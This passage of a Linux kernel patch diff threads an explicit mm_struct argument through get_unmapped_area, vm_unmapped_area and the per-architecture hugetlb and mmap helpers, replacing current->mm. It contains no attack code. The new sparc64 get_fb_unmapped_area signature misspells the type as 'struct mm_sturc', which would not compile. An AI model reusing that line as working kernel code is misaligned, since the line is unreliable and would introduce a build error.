+unsigned long hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+					unsigned long addr, unsigned long len,
+					unsigned long pgoff,
 					unsigned long flags)
 {
 	struct hstate *hstate = hstate_file(file);
 	int mmu_psize = shift_to_mmu_psize(huge_page_shift(hstate));
 
 	if (radix_enabled())
-		return radix__hugetlb_get_unmapped_area(file, addr, len,
+		return radix__hugetlb_get_unmapped_area(mm, file, addr, len,
 						       pgoff, flags);
-	return slice_get_unmapped_area(addr, len, flags, mmu_psize, 1);
+	return slice_get_unmapped_area(mm, addr, len, flags, mmu_psize, 1);
 }
 #endif
 
diff --git a/arch/powerpc/mm/mmap.c b/arch/powerpc/mm/mmap.c
index 2f1e44362198..b05ad3e33c40 100644
--- a/arch/powerpc/mm/mmap.c
+++ b/arch/powerpc/mm/mmap.c
@@ -88,11 +88,10 @@ static inline unsigned long mmap_base(unsigned long rnd)
  * HAVE_ARCH_UNMAPPED_AREA
  */
 static unsigned long
-radix__arch_get_unmapped_area(struct file *filp, unsigned long addr,
-			     unsigned long len, unsigned long pgoff,
-			     unsigned long flags)
+radix__arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+			     unsigned long addr, unsigned long len,
+			     unsigned long pgoff, unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	struct vm_unmapped_area_info info;
 
@@ -115,18 +114,18 @@ radix__arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.low_limit = mm->mmap_base;
 	info.high_limit = TASK_SIZE;
 	info.align_mask = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 static unsigned long
-radix__arch_get_unmapped_area_topdown(struct file *filp,
+radix__arch_get_unmapped_area_topdown(struct mm_struct *mm,
+				     struct file *filp,
 				     const unsigned long addr0,
 				     const unsigned long len,
 				     const unsigned long pgoff,
 				     const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	struct vm_unmapped_area_info info;
 
@@ -151,7 +150,7 @@ radix__arch_get_unmapped_area_topdown(struct file *filp,
 	info.low_limit = max(PAGE_SIZE, mmap_min_addr);
 	info.high_limit = mm->mmap_base;
 	info.align_mask = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -164,7 +163,7 @@ radix__arch_get_unmapped_area_topdown(struct file *filp,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
index 2b27458902ee..ebcb47c62d47 100644
--- a/arch/powerpc/mm/slice.c
+++ b/arch/powerpc/mm/slice.c
@@ -296,7 +296,7 @@ static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
 		}
 		info.high_limit = addr;
 
-		found = vm_unmapped_area(&info);
+		found = vm_unmapped_area(mm, &info);
 		if (!(found & ~PAGE_MASK))
 			return found;
 	}
@@ -339,7 +339,7 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 		}
 		info.low_limit = addr;
 
-		found = vm_unmapped_area(&info);
+		found = vm_unmapped_area(mm, &info);
 		if (!(found & ~PAGE_MASK))
 			return found;
 	}
@@ -380,9 +380,9 @@ static unsigned long slice_find_area(struct mm_struct *mm, unsigned long len,
 #define MMU_PAGE_BASE	MMU_PAGE_4K
 #endif
 
-unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
-				      unsigned long flags, unsigned int psize,
-				      int topdown)
+unsigned long slice_get_unmapped_area(struct mm_struct *mm, unsigned long addr,
+				      unsigned long len, unsigned long flags,
+				      unsigned int psize, int topdown)
 {
 	struct slice_mask mask = {0, 0};
 	struct slice_mask good_mask;
@@ -390,7 +390,6 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	struct slice_mask compat_mask = {0, 0};
 	int fixed = (flags & MAP_FIXED);
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
-	struct mm_struct *mm = current->mm;
 	unsigned long newaddr;
 
 	/* Sanity checks */
@@ -544,24 +543,26 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 }
 EXPORT_SYMBOL_GPL(slice_get_unmapped_area);
 
-unsigned long arch_get_unmapped_area(struct file *filp,
+unsigned long arch_get_unmapped_area(struct mm_struct *mm,
+				     struct file *filp,
 				     unsigned long addr,
 				     unsigned long len,
 				     unsigned long pgoff,
 				     unsigned long flags)
 {
-	return slice_get_unmapped_area(addr, len, flags,
-				       current->mm->context.user_psize, 0);
+	return slice_get_unmapped_area(mm, addr, len, flags,
+				       mm->context.user_psize, 0);
 }
 
-unsigned long arch_get_unmapped_area_topdown(struct file *filp,
+unsigned long arch_get_unmapped_area_topdown(struct mm_struct *mm,
+					     struct file *filp,
 					     const unsigned long addr0,
 					     const unsigned long len,
 					     const unsigned long pgoff,
 					     const unsigned long flags)
 {
-	return slice_get_unmapped_area(addr0, len, flags,
-				       current->mm->context.user_psize, 1);
+	return slice_get_unmapped_area(mm, addr0, len, flags,
+				       mm->context.user_psize, 1);
 }
 
 unsigned int get_slice_psize(struct mm_struct *mm, unsigned long addr)
diff --git a/arch/s390/kernel/vdso.c b/arch/s390/kernel/vdso.c
index 5904abf6b1ae..2e8d5d6d7806 100644
--- a/arch/s390/kernel/vdso.c
+++ b/arch/s390/kernel/vdso.c
@@ -218,7 +218,8 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 	 */
 	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
-	vdso_base = get_unmapped_area(NULL, 0, vdso_pages << PAGE_SHIFT, 0, 0);
+	vdso_base = get_unmapped_area(mm, NULL, 0, vdso_pages << PAGE_SHIFT,
+				      0, 0);
 	if (IS_ERR_VALUE(vdso_base)) {
 		rc = vdso_base;
 		goto out_up;
diff --git a/arch/s390/mm/mmap.c b/arch/s390/mm/mmap.c
index eb9df2822da1..e9622a8bc740 100644
--- a/arch/s390/mm/mmap.c
+++ b/arch/s390/mm/mmap.c
@@ -81,10 +81,10 @@ static inline unsigned long mmap_base(unsigned long rnd)
 }
 
 unsigned long
-arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	struct vm_unmapped_area_info info;
 
@@ -111,16 +111,15 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	else
 		info.align_mask = 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr0, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	struct vm_unmapped_area_info info;
 
@@ -149,7 +148,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	else
 		info.align_mask = 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -162,7 +161,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
@@ -180,14 +179,14 @@ int s390_mmap_check(unsigned long addr, unsigned long len, unsigned long flags)
 }
 
 static unsigned long
-s390_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+s390_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	unsigned long area;
 	int rc;
 
-	area = arch_get_unmapped_area(filp, addr, len, pgoff, flags);
+	area = arch_get_unmapped_area(mm, filp, addr, len, pgoff, flags);
 	if (!(area & ~PAGE_MASK))
 		return area;
 	if (area == -ENOMEM && !is_compat_task() && TASK_SIZE < TASK_MAX_SIZE) {
@@ -195,21 +194,22 @@ s390_get_unmapped_area(struct file *filp, unsigned long addr,
 		rc = crst_table_upgrade(mm);
 		if (rc)
 			return (unsigned long) rc;
-		area = arch_get_unmapped_area(filp, addr, len, pgoff, flags);
+		area = arch_get_unmapped_area(mm, filp, addr, len, pgoff,
+					      flags);
 	}
 	return area;
 }
 
 static unsigned long
-s390_get_unmapped_area_topdown(struct file *filp, const unsigned long addr,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+s390_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	unsigned long area;
 	int rc;
 
-	area = arch_get_unmapped_area_topdown(filp, addr, len, pgoff, flags);
+	area = arch_get_unmapped_area_topdown(mm, filp, addr, len, pgoff,
+					      flags);
 	if (!(area & ~PAGE_MASK))
 		return area;
 	if (area == -ENOMEM && !is_compat_task() && TASK_SIZE < TASK_MAX_SIZE) {
@@ -217,7 +217,7 @@ s390_get_unmapped_area_topdown(struct file *filp, const unsigned long addr,
 		rc = crst_table_upgrade(mm);
 		if (rc)
 			return (unsigned long) rc;
-		area = arch_get_unmapped_area_topdown(filp, addr, len,
+		area = arch_get_unmapped_area_topdown(mm, filp, addr, len,
 						      pgoff, flags);
 	}
 	return area;
diff --git a/arch/sh/kernel/vsyscall/vsyscall.c b/arch/sh/kernel/vsyscall/vsyscall.c
index cc0cc5b4ff18..81f68365b511 100644
--- a/arch/sh/kernel/vsyscall/vsyscall.c
+++ b/arch/sh/kernel/vsyscall/vsyscall.c
@@ -67,7 +67,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
 
-	addr = get_unmapped_area(NULL, 0, PAGE_SIZE, 0, 0);
+	addr = get_unmapped_area(mm, NULL, 0, PAGE_SIZE, 0, 0);
 	if (IS_ERR_VALUE(addr)) {
 		ret = addr;
 		goto up_fail;
diff --git a/arch/sh/mm/mmap.c b/arch/sh/mm/mmap.c
index 6777177807c2..ab873264c260 100644
--- a/arch/sh/mm/mmap.c
+++ b/arch/sh/mm/mmap.c
@@ -30,10 +30,10 @@ static inline unsigned long COLOUR_ALIGN(unsigned long addr,
 	return base + off;
 }
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-	unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+	unsigned long addr, unsigned long len, unsigned long pgoff,
+	unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	int do_colour_align;
 	struct vm_unmapped_area_info info;
@@ -73,16 +73,15 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.high_limit = TASK_SIZE;
 	info.align_mask = do_colour_align ? (PAGE_MASK & shm_align_mask) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr0, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	int do_colour_align;
 	struct vm_unmapped_area_info info;
@@ -123,7 +122,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.high_limit = mm->mmap_base;
 	info.align_mask = do_colour_align ? (PAGE_MASK & shm_align_mask) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -136,7 +135,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
diff --git a/arch/sparc/include/asm/pgtable_64.h b/arch/sparc/include/asm/pgtable_64.h
index 314b66851348..e5e47115ba43 100644
--- a/arch/sparc/include/asm/pgtable_64.h
+++ b/arch/sparc/include/asm/pgtable_64.h
@@ -1013,8 +1013,8 @@ static inline int io_remap_pfn_range(struct vm_area_struct *vma,
 /* We provide a special get_unmapped_area for framebuffer mmaps to try and use
  * the largest alignment possible such that larget PTEs can be used.
  */
-unsigned long get_fb_unmapped_area(struct file *filp, unsigned long,
-				   unsigned long, unsigned long,
+unsigned long get_fb_unmapped_area(struct mm_struct *mm, struct file *filp,
+				   unsigned long, unsigned long, unsigned long,
 				   unsigned long);
 #define HAVE_ARCH_FB_UNMAPPED_AREA
 
diff --git a/arch/sparc/kernel/sys_sparc_32.c b/arch/sparc/kernel/sys_sparc_32.c
index fb7b185ee941..52319c194f96 100644
--- a/arch/sparc/kernel/sys_sparc_32.c
+++ b/arch/sparc/kernel/sys_sparc_32.c
@@ -36,7 +36,9 @@ asmlinkage unsigned long sys_getpagesize(void)
 	return PAGE_SIZE; /* Possibly older binaries want 8192 on sun4's? */
 }
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+				     unsigned long addr, unsigned long len,
+				     unsigned long pgoff, unsigned long flags)
 {
 	struct vm_unmapped_area_info info;
 
@@ -63,7 +65,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	info.align_mask = (flags & MAP_SHARED) ?
 		(PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 /*
diff --git a/arch/sparc/kernel/sys_sparc_64.c b/arch/sparc/kernel/sys_sparc_64.c
index 884c70331345..3e77c04700ef 100644
--- a/arch/sparc/kernel/sys_sparc_64.c
+++ b/arch/sparc/kernel/sys_sparc_64.c
@@ -83,9 +83,10 @@ static inline unsigned long COLOR_ALIGN(unsigned long addr,
 	return base + off;
 }
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+				     unsigned long addr, unsigned long len,
+				     unsigned long pgoff, unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct * vma;
 	unsigned long task_size = TASK_SIZE;
 	int do_color_align;
@@ -128,25 +129,24 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	info.high_limit = min(task_size, VA_EXCLUDE_START);
 	info.align_mask = do_color_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	if ((addr & ~PAGE_MASK) && task_size > VA_EXCLUDE_END) {
 		VM_BUG_ON(addr != -ENOMEM);
 		info.low_limit = VA_EXCLUDE_END;
 		info.high_limit = task_size;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
 }
 
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr0, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long task_size = STACK_TOP32;
 	unsigned long addr = addr0;
 	int do_color_align;
@@ -191,7 +191,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.high_limit = mm->mmap_base;
 	info.align_mask = do_color_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -204,20 +204,23 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = STACK_TOP32;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
 }
 
 /* Try to align mapping such that we align it as much as possible. */
-unsigned long get_fb_unmapped_area(struct file *filp, unsigned long orig_addr, unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long get_fb_unmapped_area(struct mm_sturc *mm, struct file *filp,
+				   unsigned long orig_addr, unsigned long len,
+				   unsigned long pgoff, unsigned long flags)
 {
 	unsigned long align_goal, addr = -ENOMEM;
-	unsigned long (*get_area)(struct file *, unsigned long,
-				  unsigned long, unsigned long, unsigned long);
+	unsigned long (*get_area)(struct mm_struct *, struct file *,
+				  unsigned long, unsigned long, unsigned long,
+				  unsigned long);
 
-	get_area = current->mm->get_unmapped_area;
+	get_area = mm->get_unmapped_area;
 
 	if (flags & MAP_FIXED) {
 		/* Ok, don't mess with it. */
diff --git a/arch/sparc/mm/hugetlbpage.c b/arch/sparc/mm/hugetlbpage.c
index 988acc8b1b80..92841d9ddd59 100644
--- a/arch/sparc/mm/hugetlbpage.c
+++ b/arch/sparc/mm/hugetlbpage.c
@@ -22,7 +22,8 @@
  * definition we don't have to worry about any page coloring stuff
  */
 
-static unsigned long hugetlb_get_unmapped_area_bottomup(struct file *filp,
+static unsigned long hugetlb_get_unmapped_area_bottomup(struct mm_struct *mm,
+							struct file *filp,
 							unsigned long addr,
 							unsigned long len,
 							unsigned long pgoff,
@@ -40,25 +41,26 @@ static unsigned long hugetlb_get_unmapped_area_bottomup(struct file *filp,
 	info.high_limit = min(task_size, VA_EXCLUDE_START);
 	info.align_mask = PAGE_MASK & ~HPAGE_MASK;
 	info.align_offset = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	if ((addr & ~PAGE_MASK) && task_size > VA_EXCLUDE_END) {
 		VM_BUG_ON(addr != -ENOMEM);
 		info.low_limit = VA_EXCLUDE_END;
 		info.high_limit = task_size;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
 }
 
 static unsigned long
-hugetlb_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
+hugetlb_get_unmapped_area_topdown(struct mm_struct *mm,
+				  struct file *filp,
+				  const unsigned long addr0,
 				  const unsigned long len,
 				  const unsigned long pgoff,
 				  const unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	struct vm_unmapped_area_info info;
 
@@ -71,7 +73,7 @@ hugetlb_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.high_limit = mm->mmap_base;
 	info.align_mask = PAGE_MASK & ~HPAGE_MASK;
 	info.align_offset = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -84,17 +86,17 @@ hugetlb_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = STACK_TOP32;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
 }
 
 unsigned long
-hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned long task_size = TASK_SIZE;
 
@@ -120,10 +122,10 @@ hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 			return addr;
 	}
 	if (mm->get_unmapped_area == arch_get_unmapped_area)
-		return hugetlb_get_unmapped_area_bottomup(file, addr, len,
+		return hugetlb_get_unmapped_area_bottomup(mm, file, addr, len,
 				pgoff, flags);
 	else
-		return hugetlb_get_unmapped_area_topdown(file, addr, len,
+		return hugetlb_get_unmapped_area_topdown(mm, file, addr, len,
 				pgoff, flags);
 }
 
diff --git a/arch/tile/kernel/vdso.c b/arch/tile/kernel/vdso.c
index 5bc51d7dfdcb..74aa55aa11ec 100644
--- a/arch/tile/kernel/vdso.c
+++ b/arch/tile/kernel/vdso.c
@@ -150,7 +150,7 @@ int setup_vdso_pages(void)
 	if (pages == 0)
 		return 0;
 
-	vdso_base = get_unmapped_area(NULL, vdso_base,
+	vdso_base = get_unmapped_area(mm, NULL, vdso_base,
 				      (pages << PAGE_SHIFT) +
 				      ((VDSO_ALIGNMENT - 1) & PAGE_MASK),
 				      0, 0);
diff --git a/arch/tile/mm/hugetlbpage.c b/arch/tile/mm/hugetlbpage.c
index 77ceaa343fce..24e8c99b5b3f 100644
--- a/arch/tile/mm/hugetlbpage.c
+++ b/arch/tile/mm/hugetlbpage.c
@@ -161,7 +161,8 @@ int pud_huge(pud_t pud)
 }
 
 #ifdef HAVE_ARCH_HUGETLB_UNMAPPED_AREA
-static unsigned long hugetlb_get_unmapped_area_bottomup(struct file *file,
+static unsigned long hugetlb_get_unmapped_area_bottomup(struct mm_struct *mm,
+		struct file *file,
 		unsigned long addr, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
 {
@@ -174,10 +175,11 @@ static unsigned long hugetlb_get_unmapped_area_bottomup(struct file *file,
 	info.high_limit = TASK_SIZE;
 	info.align_mask = PAGE_MASK & ~huge_page_mask(h);
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
-static unsigned long hugetlb_get_unmapped_area_topdown(struct file *file,
+static unsigned long hugetlb_get_unmapped_area_topdown(struct mm_struct *mm,
+		struct file *file,
 		unsigned long addr0, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
 {
@@ -188,10 +190,10 @@ static unsigned long hugetlb_get_unmapped_area_topdown(struct file *file,
 	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
 	info.length = len;
 	info.low_limit = PAGE_SIZE;
-	info.high_limit = current->mm->mmap_base;
+	info.high_limit = mm->mmap_base;
 	info.align_mask = PAGE_MASK & ~huge_page_mask(h);
 	info.align_offset = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -204,17 +206,17 @@ static unsigned long hugetlb_get_unmapped_area_topdown(struct file *file,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
 }
 
-unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct hstate *h = hstate_file(file);
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 
 	if (len & ~huge_page_mask(h))
@@ -235,11 +237,11 @@ unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 		    (!vma || addr + len <= vma->vm_start))
 			return addr;
 	}
-	if (current->mm->get_unmapped_area == arch_get_unmapped_area)
-		return hugetlb_get_unmapped_area_bottomup(file, addr, len,
+	if (mm->get_unmapped_area == arch_get_unmapped_area)
+		return hugetlb_get_unmapped_area_bottomup(mm, file, addr, len,
 				pgoff, flags);
 	else
-		return hugetlb_get_unmapped_area_topdown(file, addr, len,
+		return hugetlb_get_unmapped_area_topdown(mm, file, addr, len,
 				pgoff, flags);
 }
 #endif /* HAVE_ARCH_HUGETLB_UNMAPPED_AREA */
diff --git a/arch/x86/entry/vdso/vma.c b/arch/x86/entry/vdso/vma.c
index 10820f6cefbf..8f728f3a1698 100644
--- a/arch/x86/entry/vdso/vma.c
+++ b/arch/x86/entry/vdso/vma.c
@@ -153,7 +153,7 @@ static int map_vdso(const struct vdso_image *image, unsigned long addr)
 	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
 
-	addr = get_unmapped_area(NULL, addr,
+	addr = get_unmapped_area(mm, NULL, addr,
 				 image->size - image->sym_vvar_start, 0, 0);
 	if (IS_ERR_VALUE(addr)) {
 		ret = addr;
diff --git a/arch/x86/kernel/sys_x86_64.c b/arch/x86/kernel/sys_x86_64.c
index a55ed63b9f91..bf9198998895 100644
--- a/arch/x86/kernel/sys_x86_64.c
+++ b/arch/x86/kernel/sys_x86_64.c
@@ -120,10 +120,10 @@ static void find_start_end(unsigned long flags, unsigned long *begin,
 }
 
 unsigned long
-arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	struct vm_unmapped_area_info info;
 	unsigned long begin, end;
@@ -154,16 +154,15 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 		info.align_mask = get_align_mask();
 		info.align_offset += get_align_bits();
 	}
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr0, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	struct vm_unmapped_area_info info;
 
@@ -197,7 +196,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.align_mask = get_align_mask();
 		info.align_offset += get_align_bits();
 	}
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 	if (!(addr & ~PAGE_MASK))
 		return addr;
 	VM_BUG_ON(addr != -ENOMEM);
@@ -209,5 +208,5 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	 * can happen with large stack limits and large mmap()
 	 * allocations.
 	 */
-	return arch_get_unmapped_area(filp, addr0, len, pgoff, flags);
+	return arch_get_unmapped_area(mm, filp, addr0, len, pgoff, flags);
 }
diff --git a/arch/x86/mm/hugetlbpage.c b/arch/x86/mm/hugetlbpage.c
index 2ae8584b44c7..93f0dccd0fcd 100644
--- a/arch/x86/mm/hugetlbpage.c
+++ b/arch/x86/mm/hugetlbpage.c
@@ -72,7 +72,8 @@ int pud_huge(pud_t pud)
 #endif
 
 #ifdef CONFIG_HUGETLB_PAGE
-static unsigned long hugetlb_get_unmapped_area_bottomup(struct file *file,
+static unsigned long hugetlb_get_unmapped_area_bottomup(struct mm_struct *mm,
+		struct file *file,
 		unsigned long addr, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
 {
@@ -81,14 +82,15 @@ static unsigned long hugetlb_get_unmapped_area_bottomup(struct file *file,
 
 	info.flags = 0;
 	info.length = len;
-	info.low_limit = current->mm->mmap_legacy_base;
+	info.low_limit = mm->mmap_legacy_base;
 	info.high_limit = TASK_SIZE;
 	info.align_mask = PAGE_MASK & ~huge_page_mask(h);
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
-static unsigned long hugetlb_get_unmapped_area_topdown(struct file *file,
+static unsigned long hugetlb_get_unmapped_area_topdown(struct mm_struct *mm,
+		struct file *file,
 		unsigned long addr0, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
 {
@@ -99,10 +101,10 @@ static unsigned long hugetlb_get_unmapped_area_topdown(struct file *file,
 	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
 	info.length = len;
 	info.low_limit = PAGE_SIZE;
-	info.high_limit = current->mm->mmap_base;
+	info.high_limit = mm->mmap_base;
 	info.align_mask = PAGE_MASK & ~huge_page_mask(h);
 	info.align_offset = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
